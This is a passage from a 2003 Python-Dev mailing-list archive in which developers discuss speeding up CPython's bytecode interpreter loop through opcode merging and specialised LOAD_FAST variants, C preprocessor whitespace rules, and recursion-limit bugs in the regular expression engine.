> Watch out though.  There are situations where an exception needs to be
> stored but no frame is available (when executing purely in C).  There
> is always a thread state.

Absolutely.  I'm looking to store exception information into the right frame
when it is currently stored into the current frame.  This won't change how
exceptions are also stored in the thread state.

-Kevin

-- 
--
Kevin Jacobs
The OPAL Group - Enterprise Systems Architect
Voice: (216) 986-0710 x 19         E-mail: jacobs@theopalgroup.com
Fax:   (216) 986-0714              WWW:    http://www.theopalgroup.com



From tismer@tismer.com  Wed Feb 26 03:21:52 2003
From: tismer@tismer.com (Christian Tismer)
Date: Wed, 26 Feb 2003 04:21:52 +0100
Subject: [Python-Dev] Bytecode analysis
In-Reply-To: <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net>
References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <3E5C32D0.4020509@tismer.com>

Guido van Rossum wrote:
> We should probably stop while we're chasing Fredrik away again :-),

not by this discussion which he probably likes :-)

> but there could be some merit in Christian's idea of replacing some of
> the more rarely-used opcodes by function calls, or by some other way
> of encoding these that uses fewer cases in the switch.  But there
> aren't very many of these, so I'm not sure how much it will help.

Well, I haven't done a complete analysis yet, but there
are quite some other candidates for refactoring.
I just stumbled over IMPORT_XXX, which is normally only
used during some initialization code. (Yeah, some people
use it from inside a function, but I don't think it would
break semantics to cache that after the first call...)

UNPACK_SEQUENCE could stop to go through every alternative,
just do the most common tule stuff and otherwise transfer
to a function, which makes the code shorter.

Then, there are 13 new opcodes for the INPLACE_XXX things.
Are they used often enough to deserve so much space?
The code patterns are very similar, despite add and subtract,
which have inlined integer optimization. The latter special case
*might* be considered to be folded into the BINARY_ADD special
case, which looks almost exactly the same?
The code only differs by the
				x = PyNumber_Add(v, w);
vs.
				x = PyNumber_InPlaceAdd(v, w);
fallbacks.

Then, for example, see BINARY_XOR vs. INPLACE_XOR.
These have exactly the same pattern, just a different
function call inside. It can make sense to fold them
back into one, i.e. one case for two opcodes but
indexing the function, or even folding a whole bunch
of these which look so very similar, and having
a plain table of functions, directlyindexec by the
opcode which is probably still sitting in a register.

There are other patterns (randomly picked, since I didn't
intend to really do an analysis now), like here:

		case INPLACE_TRUE_DIVIDE:
		case INPLACE_FLOOR_DIVIDE:
		case INPLACE_MODULO:

The code has the same pattern all the time, popping stuff,
calling a different function, decrefing, pushing result
and handling errors.
I might (might, but that needs investigation) pay off to
fold such similar patterns into one routine, which picks
the only difference (the internal function to be called)
out of a table, instead of repeating all the surrounding
code, explicitly.

(although I generally agree that explicit is better than...:)

So there are lots of ways of folding to try, if somebody
cares. This is hard, anyway, since it is platform dependant
whether it creates an advantage or the opposite, I fear.

> (And we should be careful not to change the semantics.)

Absolutely d'acor - ly -- chris

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/




From tismer@tismer.com  Wed Feb 26 03:23:02 2003
From: tismer@tismer.com (Christian Tismer)
Date: Wed, 26 Feb 2003 04:23:02 +0100
Subject: [Python-Dev] Bytecode analysis
In-Reply-To: <20030226025956.GA17413@glacier.arctrix.com>
References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <20030226025956.GA17413@glacier.arctrix.com>
Message-ID: <3E5C3316.5000505@tismer.com>

Neil Schemenauer wrote:
> Guido van Rossum wrote:
> 
>>Some of that is already done (these say 'continue' instead of
>>'break').  But I'm sure more can be done.
> 
> 
> I think Christian was referring to the ones that say "goto
> fast_next_opcode".

(Nodding fast and repeatedly, with a smile)

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/




From tismer@tismer.com  Wed Feb 26 03:48:37 2003
From: tismer@tismer.com (Christian Tismer)
Date: Wed, 26 Feb 2003 04:48:37 +0100
Subject: [Python-Dev] Bytecode idea
In-Reply-To: <3E5C32D0.4020509@tismer.com>
References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com>
Message-ID: <3E5C3915.6070600@tismer.com>

Christian Tismer wrote:
[much about bytecode, folding, ...]

Well, to stop myself blathering about bytecode and
how to make it different, which I'm expected to do
other things or at least sleep, I can't resist
to throw this rigorous idea into py-dev, which
struck me at 4:30 in the morning:

WHat would happen if we re-structured the ceval
loop this way:
We look at every similar pattern and group together
all the opcodes which have a similar pattern.
By "pattern" I mean the surrounding calls of simple
things like stack operations before and after, and
error handling.

So what I would like to try is to merge all opcodes
which have exactly the same pattern into one case,
which then does the common preparation stuff and
postprocessing including error handling, but internally
dispatches on the function to be called.

No idea if it may be an improvement, but just let me throw
it in.
Example:

		case UNARY_POSITIVE:
			v = POP();
			x = PyNumber_Positive(v);
			Py_DECREF(v);
			PUSH(x);
			if (x != NULL) continue;
			break;

		case UNARY_NEGATIVE:
			v = POP();
			x = PyNumber_Negative(v);
			Py_DECREF(v);
			PUSH(x);
			if (x != NULL) continue;
			break;
...
		case UNARY_CONVERT:
			v = POP();
			x = PyObject_Repr(v);
			Py_DECREF(v);
			PUSH(x);
			if (x != NULL) continue;
			break;

		case UNARY_INVERT:
			v = POP();
			x = PyNumber_Invert(v);
			Py_DECREF(v);
			PUSH(x);
			if (x != NULL) continue;
			break;

is converted into

		case UNARY_POSITIVE:
		case UNARY_NEGATIVE:
		case UNARY_CONVERT:
		case UNARY_INVERT:
			v = POP();
			switch (opcode) {
				case UNARY_POSITIVE:
					x = PyNumber_Positive(v); break;
				case UNARY_NEGATIVE:
					x = PyNumber_Negative(v); break;
				case UNARY_CONVERT:
					x = PyObject_Repr(v); break;
				case UNARY_INVERT:
					x = PyNumber_Invert(v);
			}
			Py_DECREF(v);
			PUSH(x);
			if (x != NULL) continue;
			break;

Maybe it also makes sense to use indexing into a static
array, instead of the case construct. Note that there
can be one single such table for all opcodes and all cases,
since opcodes are still disjoint. It depends where this
table is stored and if this can get in the cache.

While I don't know if this really makes the interpreter
more efficient, at least it makes it shorter to read
and maybe easier to maintain.

Ok ok, I will sleep now :-)

cheers - chris

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/




From python@rcn.com  Wed Feb 26 04:05:38 2003
From: python@rcn.com (Raymond Hettinger)
Date: Tue, 25 Feb 2003 23:05:38 -0500
Subject: [Python-Dev] Code Generation Idea  Was: Bytecode idea
References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com>
Message-ID: <00a101c2dd4c$52ee5800$125ffea9@oemcomputer>

There is a piece of low hanging fruit in "while True" constructs.
If the code generator can recognize it, then three op-codes 
can be shaved off of every pass (LOAD_GLOBAL,
JUMP_IF_FALSE, and POP_TOP).


Raymond Hettinger



---------------------------------------------------------
>>> def f():
 while True:
  print "hello"

>>> dis.dis(f)
  2           0 SETUP_LOOP              17 (to 20)
        >>    3 LOAD_GLOBAL              0 (True)
              6 JUMP_IF_FALSE            9 (to 18)
              9 POP_TOP             

  3          10 LOAD_CONST               1 ('hello')
             13 PRINT_ITEM          
             14 PRINT_NEWLINE       
             15 JUMP_ABSOLUTE            3
--------------------------------------------------------
It would be great if lines 3, 6, and 9 were not
generated or if line 15 was JUMP_ABSOLUTE 10.


From python@rcn.com  Wed Feb 26 04:11:48 2003
From: python@rcn.com (Raymond Hettinger)
Date: Tue, 25 Feb 2003 23:11:48 -0500
Subject: [Python-Dev] Bytecode idea
References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com>
Message-ID: <00a501c2dd4d$2f628040$125ffea9@oemcomputer>

> Maybe it also makes sense to use indexing into a static
> array, instead of the case construct. 

That makes sense to me.  I would be stunned if adding
an inner case statement helped (the cost of a second
unpredicable branch would have to be less than the 
cost of cache line utilization of a bit of redundant code).

My thought on the big case statement was to have it do
more disaggregration.  For instance, each op code already
knows whether it needs an oparg, so there is no need for
a separate test for it on every pass with HAS_ARG(opcode).

> While I don't know if this really makes the interpreter
> more efficient

Time it and see.


Raymond Hettinger


From tismer@tismer.com  Wed Feb 26 04:32:58 2003
From: tismer@tismer.com (Christian Tismer)
Date: Wed, 26 Feb 2003 05:32:58 +0100
Subject: [Python-Dev] Bytecode idea
In-Reply-To: <00a501c2dd4d$2f628040$125ffea9@oemcomputer>
References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com> <00a501c2dd4d$2f628040$125ffea9@oemcomputer>
Message-ID: <3E5C437A.3030009@tismer.com>

Raymond Hettinger wrote:
>> Maybe it also makes sense to use indexing into a static
>> array, instead of the case construct. 
> 
> That makes sense to me.  I would be stunned if adding
> an inner case statement helped (the cost of a second
> unpredicable branch would have to be less than the 
> cost of cache line utilization of a bit of redundant code).

It depends. The unpredictable branche isn't better than
the unpredictable call to a function from an indexed table.
The case just might have the advantage to live in the
same code segment, at least as I know from the M$ compiler.
The indirect jump table may live elsewhere in the data...

> My thought on the big case statement was to have it do
> more disaggregration.  For instance, each op code already
> knows whether it needs an oparg, so there is no need for
> a separate test for it on every pass with HAS_ARG(opcode).

This is true. I used this in my optimization from two
years ago, and moved the oparg preparation into the
opcode cases, not doing any test, but just fetching
the argument. I also turned this into macros which
added to the insn pointer only once.
Incredible but true: Most of the win I gathered was
by typecasting the oparg access differently into
a reference to a short int, instead of oring two
bytes. But this is due to the dumbness of those compilers...

>>While I don't know if this really makes the interpreter
>>more efficient
> 
> Time it and see.

No, I will not. I just wanted to give some hints to where
I see optimizations which might be promising. But I have
no time to try this by myself. Also, as already stated,
I don't see enough to be gatherable at all, to start an
effort.
What can I win: 25 to 40 percent? What I'm after is
an order of magnitude.

cheers - chris

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/




From python@rcn.com  Wed Feb 26 04:59:53 2003
From: python@rcn.com (Raymond Hettinger)
Date: Tue, 25 Feb 2003 23:59:53 -0500
Subject: [Python-Dev] Bytecode idea
References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com> <00a501c2dd4d$2f628040$125ffea9@oemcomputer> <3E5C437A.3030009@tismer.com>
Message-ID: <00be01c2dd53$e7160800$125ffea9@oemcomputer>

> This is true. I used this in my optimization from two
> years ago, and moved the oparg preparation into the
> opcode cases, not doing any test, but just fetching
> the argument.

What happened to the optimization.  It is not in the
current code?

> I also turned this into macros which
> added to the insn pointer only once.
> Incredible but true: Most of the win I gathered was
> by typecasting the oparg access differently into
> a reference to a short int, instead of oring two
> bytes. 

I skipped over that one because I thought that 
it would fail on a big-endian computer.


Raymond Hettinger


From tim.one@comcast.net  Wed Feb 26 05:51:07 2003
From: tim.one@comcast.net (Tim Peters)
Date: Wed, 26 Feb 2003 00:51:07 -0500
Subject: [Python-Dev] Re: [Python-checkins] python/dist/src
 configure,1.279.6.17,1.279.6.18 configure.in,1.288.6.17,1.288.6.18
In-Reply-To: <20030225211646.GQ2041@epoch.metaslash.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCMEEGDPAB.tim.one@comcast.net>

[Neal Norwitz]
> I always thought you could have whitespace between the '#' and the
> directive name, but not before the '#'.  According to everything I
> read, you can have spaces before the '#', tabs are less clear.  I
> didn't find any info about which standard they are referring to.

The C standards aren't available for free, but the C99 standard is cheap.
It's quite clear.

    A preprocessing directive consists of a sequence of preprocessing
    tokens that begins with a # preprocessing token that (at the start
    of translation phase 4) is either the first character in the source
    file (optionally after white space containing no new-line
    characters) or that follows white space containing at least one
    new-line character, and is ended by the next new-line character.
    A new-line character ends the preprocessing directive even if it
    occurs within what would otherwise be an invocation of a function-
    like macro.

Later:

    The only white-space characters that shall appear between
    preprocessing tokens within a preprocessing directive (from just
    after the introducing # preprocessing token through just before
    the terminating new-line character) are space and horizontal-tab
    (including spaces that have replaced comments or possibly other
    white-space characters in translation phase 3).

So you can actually have any whitespace characters before the #, but only
space and tab after it.

I used to have a bootleg C89 standard on my drive, but can't seem to find
it.  I doubt it's different here, but don't know for sure.  The C99
Rationale (not part of the C99 standard) says:

    Different implementations have had different notions about whether
    white space is permissible before and/or after the # signalling a
    preprocessor line. The C89 Committee decided to allow any white space
    before the #, and horizontal white space (spaces or tabs) between
    the # and the directive, since the white space introduces no
    ambiguity, causes no particular processing problems, and allows
    maximum flexibility in coding style.  Note that similar
    considerations apply for comments, which are reduced to white space
    early in the phases of translation.

This strongly implies that the same rules held in C89.



From dmorton@bitfurnace.com  Wed Feb 26 05:59:11 2003
From: dmorton@bitfurnace.com (damien morton)
Date: Wed, 26 Feb 2003 00:59:11 -0500
Subject: [Python-Dev] Bytecode analysis
In-Reply-To: <200302260125.h1Q1PB516246@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <000101c2dd5c$2fdcbb80$6401a8c0@damien>

I implemented LOAD_FAST_n, STORE_FAST_n, LOAD_CONST_n for n < 16

Getting a small 2% improvement in speed
Going from about 21800 PyStones to 22300 PyStones; very hard to get
consistent readings on the PyStones - anyone got any tips on how to get
more consistent results under windows?

Getting a small 3% reduction in .pyc filesizes
os.path 24,929 unmodified
os.path 24,149 with modifications

I sort of cheated on the switch statement to avoid the use of a goto.

		opcode = NEXTOP();
		if (HAS_ARG(opcode))
			oparg = NEXTARG();
		...
		switch (opcode) {
		...
		case LOAD_FAST_14:
		case LOAD_FAST_15: 
			oparg = opcode - LOAD_FAST_0;
		case LOAD_FAST:
			x = GETLOCAL(oparg);
			if (x != NULL) {
				Py_INCREF(x);
			...

I also altered the opcode.h file to use an enum for the opcodes instead
of all those #defines. Much easier to re-arrange things that way. I have
a feeling that most of the speedup (such that it is) comes from that
re-arrangment, which packs the opcodes into a contiguous numeric space.
I suspect that sorting the opcodes by frequency of access might also
have some positive effect. Also, organising the opcodes and the switch
statement so that frequently co-occuring opcodes are adjacent to each
other might also have some positive effect.

> -----Original Message-----
> From: guido@python.org [mailto:guido@python.org] 
> Sent: Tuesday, 25 February 2003 20:25
> To: damien morton
> Cc: python-dev@python.org
> Subject: Re: [Python-Dev] Bytecode analysis
> 
> 
> > As you say, LOAD_FAST is a very frequently occuring 
> instruction, both 
> > statically and dynamically. Reducing it from a 3 byte 
> instruction to a 
> > 1 byte instruction in 97% of (static) cases should be an 
> overall good.
> > 
> > Most of the opcodes I proposed could be added without disturbing 
> > locality of reference.
> > 
> > e.g.
> > 
> > switch (op = *p++) {
> >    ...
> >    case LOAD_FAST:
> >       index = (*p++) + (*p++)<<8
> >       goto LOAD_FAST_MAIN;
> > 	break;
> >    case LOAD_FAST_0:
> >    case LOAD_FAST_1:
> >    case LOAD_FAST_15:
> >       index = op - LOAD_FAST_0
> >       LOAD_FAST_MAIN:
> > 	...
> >       break;
> > 
> >        
> > }
> 
> Good idea.  Can you benchmark this?
> 
> --Guido van Rossum (home page: http://www.python.org/~guido/)
> 
> 



From newsgroups1@bitfurnace.com  Wed Feb 26 07:14:19 2003
From: newsgroups1@bitfurnace.com (Damien Morton)
Date: Wed, 26 Feb 2003 02:14:19 -0500
Subject: [Python-Dev] Re: Bytecode idea
References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com>
Message-ID: <b3hpr3$jgi$1@main.gmane.org>

> Christian Tismer wrote:
> So what I would like to try is to merge all opcodes
> which have exactly the same pattern into one case,
> which then does the common preparation stuff and
> postprocessing including error handling, but internally
> dispatches on the function to be called.

I tried this on the 2.3a2 source, modifying it to implement your idea.

This was implemented on top of the LOAD_FAST_n, etc, changes.

No luck - it makes the code slower by nearly 5%, decreasing a base 22300
PyStones to 21100 PyStones. That is, the idea of using function pointers. I
imagine that a case statement would be even slower.

I didnt implement the table of function pointers as one monolithic table, as
the unary and binary functions have different signatures.

static binaryfunc binop[] = {
 PyNumber_Multiply,
 PyNumber_TrueDivide,
 PyNumber_TrueDivide,
 PyNumber_FloorDivide,
 PyNumber_Remainder,
 PyNumber_Lshift,
 PyNumber_Rshift,
 PyNumber_And,
 PyNumber_Xor,
 PyNumber_Or,
 PyNumber_InPlaceMultiply,
 PyNumber_InPlaceTrueDivide,
 PyNumber_InPlaceTrueDivide,
 PyNumber_InPlaceFloorDivide,
 PyNumber_InPlaceRemainder,
 PyNumber_InPlaceLshift,
 PyNumber_InPlaceRshift,
 PyNumber_InPlaceAnd,
 PyNumber_InPlaceXor,
 PyNumber_InPlaceOr
};


  switch (opcode) {
...
  case BINARY_MULTIPLY:
  case BINARY_DIVIDE:
  case BINARY_TRUE_DIVIDE:
  case BINARY_FLOOR_DIVIDE:
  case BINARY_MODULO:
  case BINARY_LSHIFT:
  case BINARY_RSHIFT:
  case BINARY_AND:
  case BINARY_XOR:
  case BINARY_OR:
  case INPLACE_MULTIPLY:
  case INPLACE_DIVIDE:
  case INPLACE_TRUE_DIVIDE:
  case INPLACE_FLOOR_DIVIDE:
  case INPLACE_MODULO:
  case INPLACE_LSHIFT:
  case INPLACE_RSHIFT:
  case INPLACE_AND:
  case INPLACE_XOR:
  case INPLACE_OR:
   w = POP();
   v = TOP();
   x = binop[opcode-BINARY_MULTIPLY](v, w);
   Py_DECREF(v);
   Py_DECREF(w);
   SET_TOP(x);
   if (x != NULL) continue;
   break;
...




"Christian Tismer" <tismer@tismer.com> wrote in message
news:3E5C3915.6070600@tismer.com...
> Christian Tismer wrote:
> [much about bytecode, folding, ...]
>
> Well, to stop myself blathering about bytecode and
> how to make it different, which I'm expected to do
> other things or at least sleep, I can't resist
> to throw this rigorous idea into py-dev, which
> struck me at 4:30 in the morning:
>
> WHat would happen if we re-structured the ceval
> loop this way:
> We look at every similar pattern and group together
> all the opcodes which have a similar pattern.
> By "pattern" I mean the surrounding calls of simple
> things like stack operations before and after, and
> error handling.
>
> So what I would like to try is to merge all opcodes
> which have exactly the same pattern into one case,
> which then does the common preparation stuff and
> postprocessing including error handling, but internally
> dispatches on the function to be called.
>
> No idea if it may be an improvement, but just let me throw
> it in.
> Example:
>
> case UNARY_POSITIVE:
> v = POP();
> x = PyNumber_Positive(v);
> Py_DECREF(v);
> PUSH(x);
> if (x != NULL) continue;
> break;
>
> case UNARY_NEGATIVE:
> v = POP();
> x = PyNumber_Negative(v);
> Py_DECREF(v);
> PUSH(x);
> if (x != NULL) continue;
> break;
> ...
> case UNARY_CONVERT:
> v = POP();
> x = PyObject_Repr(v);
> Py_DECREF(v);
> PUSH(x);
> if (x != NULL) continue;
> break;
>
> case UNARY_INVERT:
> v = POP();
> x = PyNumber_Invert(v);
> Py_DECREF(v);
> PUSH(x);
> if (x != NULL) continue;
> break;
>
> is converted into
>
> case UNARY_POSITIVE:
> case UNARY_NEGATIVE:
> case UNARY_CONVERT:
> case UNARY_INVERT:
> v = POP();
> switch (opcode) {
> case UNARY_POSITIVE:
> x = PyNumber_Positive(v); break;
> case UNARY_NEGATIVE:
> x = PyNumber_Negative(v); break;
> case UNARY_CONVERT:
> x = PyObject_Repr(v); break;
> case UNARY_INVERT:
> x = PyNumber_Invert(v);
> }
> Py_DECREF(v);
> PUSH(x);
> if (x != NULL) continue;
> break;
>
> Maybe it also makes sense to use indexing into a static
> array, instead of the case construct. Note that there
> can be one single such table for all opcodes and all cases,
> since opcodes are still disjoint. It depends where this
> table is stored and if this can get in the cache.
>
> While I don't know if this really makes the interpreter
> more efficient, at least it makes it shorter to read
> and maybe easier to maintain.
>
> Ok ok, I will sleep now :-)
>
> cheers - chris
>
> --
> Christian Tismer             :^)   <mailto:tismer@tismer.com>
> Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
> Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
> 14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
> work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
> PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
>       whom do you want to sponsor today?   http://www.stackless.com/





From gherron@islandtraining.com  Wed Feb 26 08:22:15 2003
From: gherron@islandtraining.com (Gary Herron)
Date: Wed, 26 Feb 2003 00:22:15 -0800
Subject: [Python-Dev] Some questions about maintenance of the regular expression code.
Message-ID: <200302260022.15512.gherron@islandtraining.com>

I've decided to answer Guido's call for someone to take over
maintenance of the SRE code since it has started to fall into
disrepair.  First a short introduction and then on with a question
that begs for some discussion on this list.

My name is Gary Herron.  I've been using Python whenever possible for
about 8 years (and for most of the last year and a half I've been able
to choose Python almost exclusively -- lucky me).  I've mostly lurked
around the python and python-dev lists, only occasionally offering
help or comments.  Volunteering to maintain the SRE code seems like a
good opportunity to jump in and do something useful.


Now on with the questions at hand:

The first glance at the regular expression bug list and the _sre.c
code results in the observation that several of the bugs are related
to running over the recursion limit.  The problem comes from using a
pattern containing ".*?" in a situation where it is expected to match
many thousands of characters.  Each character matched by ".*?" causes
one level or recursion, quickly overflowing the recursion limit.



Question 1:  Should we even consider these as bugs?

  After all the recursion limit is in place to prevent badly used re's
  from crashing Python with a stack overflow. We could claim the kinds
  of patterns which cause heavy recursion are miss-uses of regular
  expressions which are bound to fail when used on long strings.  If
  we take this route, something should be added to the documentation
  which explains when excessive recursion is likely to bite.



Question 2: If we want to solve the problem (instead of just dodging
it) how should we proceed?

 * Increasing the limit beyond the current 10000 is not really an
   option for two reasons:

    1. This doesn't solve the problem.  One can always match on a
       string purposely chosen to be long enough to overflow any
       recursion limit.

    2. A recent patch (browse "cvs log _sre.c" to find a reference)
       actually lowered the limit from 10000 to 7500 for certain
       64-bit machines which apparently suffered a stack overflow
       before hitting 10000 recursion levels.

 * An attempt to replace the hard-coded upper limit with a programmed
   check of the stack space (see Misc/HISTORY for a reference to
   PyOS_CheckStack) was added and then withdrawn for version 2.0.
   Does anybody know the history of this?  This would not really solve
   the problem (especially on the 64 bit machines which could not even
   hit 10000 levels of recursion), but it would push the recursion
   limit to its highest possible value rather than some arbitrary
   hard-coded value.

 * Removing the recursion by the standard method of storing state in a
   program managed stack and looping rather than recursing would push
   the storage problem from the stack into the (probably much larger)
   heap. I haven't looked at the code enough to judge if this is
   feasible, but if it is, some limit would still remain. It would,
   however, depend on available memory rather than stack space.  And
   still, the documentation should warn that certain naive pattens on
   LONG strings could fail after wasting much time chewing through all
   available memory.

 * I notice that, unlike pattern ".*?", matching to pattern ".*" does
   not recurse for each character matched.  With only a few minutes of
   looking at the code, I can't begin to guess if it is feasible to
   make the former work like the later without recursing.



Any comments?  Remember that all the points under question 2 are worth
considering only if we decide we really ought to support things like
patterns using ".*?"  to match many thousands of characters.

Thanks,
Gary Herron




From mal@lemburg.com  Wed Feb 26 09:08:33 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Wed, 26 Feb 2003 10:08:33 +0100
Subject: [Python-Dev] Some questions about maintenance of the regular
 expression code.
In-Reply-To: <200302260022.15512.gherron@islandtraining.com>
References: <200302260022.15512.gherron@islandtraining.com>
Message-ID: <3E5C8411.6080504@lemburg.com>

Gary Herron wrote:
> The first glance at the regular expression bug list and the _sre.c
> code results in the observation that several of the bugs are related
> to running over the recursion limit.  The problem comes from using a
> pattern containing ".*?" in a situation where it is expected to match
> many thousands of characters.  Each character matched by ".*?" causes
> one level or recursion, quickly overflowing the recursion limit.

Wouldn't it be possible for the RE compiler to issue a warning in
case these kind of patterns are used ? This would be much more helpful
than trying to work-around the user problem.

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 26 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     34 days left
EuroPython 2003, Charleroi, Belgium:                       118 days left



From gherron@islandtraining.com  Wed Feb 26 10:58:43 2003
From: gherron@islandtraining.com (Gary Herron)
Date: Wed, 26 Feb 2003 02:58:43 -0800
Subject: [Python-Dev] Some questions about maintenance of the regular expression code.
In-Reply-To: <3E5C8411.6080504@lemburg.com>
References: <200302260022.15512.gherron@islandtraining.com> <3E5C8411.6080504@lemburg.com>
Message-ID: <200302260258.44868.gherron@islandtraining.com>

On Wednesday 26 February 2003 01:08 am, M.-A. Lemburg wrote:
> Gary Herron wrote:
> > The first glance at the regular expression bug list and the _sre.c
> > code results in the observation that several of the bugs are related
> > to running over the recursion limit.  The problem comes from using a
> > pattern containing ".*?" in a situation where it is expected to match
> > many thousands of characters.  Each character matched by ".*?" causes
> > one level or recursion, quickly overflowing the recursion limit.
>
> Wouldn't it be possible for the RE compiler to issue a warning in
> case these kind of patterns are used ? This would be much more helpful
> than trying to work-around the user problem.

I think not.  It's not the pattern that's the problem.  A pattern
containing ".*?" is perfectly legitimate and useful.  The problem
arises when the pattern is used on a string which has thousands of
characters which match.  By that point the RE compiler is right out of
the picture.

Gary Herron



From mchermside@ingdirect.com  Wed Feb 26 13:04:25 2003
From: mchermside@ingdirect.com (Chermside, Michael)
Date: Wed, 26 Feb 2003 08:04:25 -0500
Subject: [Python-Dev] Re: module extension search order - can it be changed?
Message-ID: <7F171EB5E155544CAC4035F0182093F03CF74D@INGDEXCHSANC1.ingdirect.com>

> > > Speaking entirely from a point of ignorance, why are the source =
line #s=20
> > > not shown for frames that are implemented in modules loaded from=20
> > > zipimport?
> >=20
> > Because the code printing the tracebacks doesn't know how to look
> > inside a zip file.
>=20
> Maybe, if the source file can't be found, it could
> decompile the bytecode?

Too clever by far. The peculiar way in which the comments disappear,
the fact that the code is wrong when I used a (so-far-non-existent)
peephole optimizer to optimize my .pyc files... I'd rather show NO
line (so long as we still give file and line number) than try to
guess in an overly clever manner.

-- Michael Chermside


From skip@pobox.com  Wed Feb 26 13:53:22 2003
From: skip@pobox.com (Skip Montanaro)
Date: Wed, 26 Feb 2003 07:53:22 -0600
Subject: [Python-Dev] Code Generation Idea  Was: Bytecode idea
In-Reply-To: <00a101c2dd4c$52ee5800$125ffea9@oemcomputer>
References: <003101c2dd1c$04214ff0$6401a8c0@damien>
 <3E5BF9F6.1@tismer.com>
 <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net>
 <3E5C21E0.5010003@tismer.com>
 <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net>
 <3E5C32D0.4020509@tismer.com>
 <3E5C3915.6070600@tismer.com>
 <00a101c2dd4c$52ee5800$125ffea9@oemcomputer>
Message-ID: <15964.50898.230776.754217@montanaro.dyndns.org>

    Raymond> There is a piece of low hanging fruit in "while True"
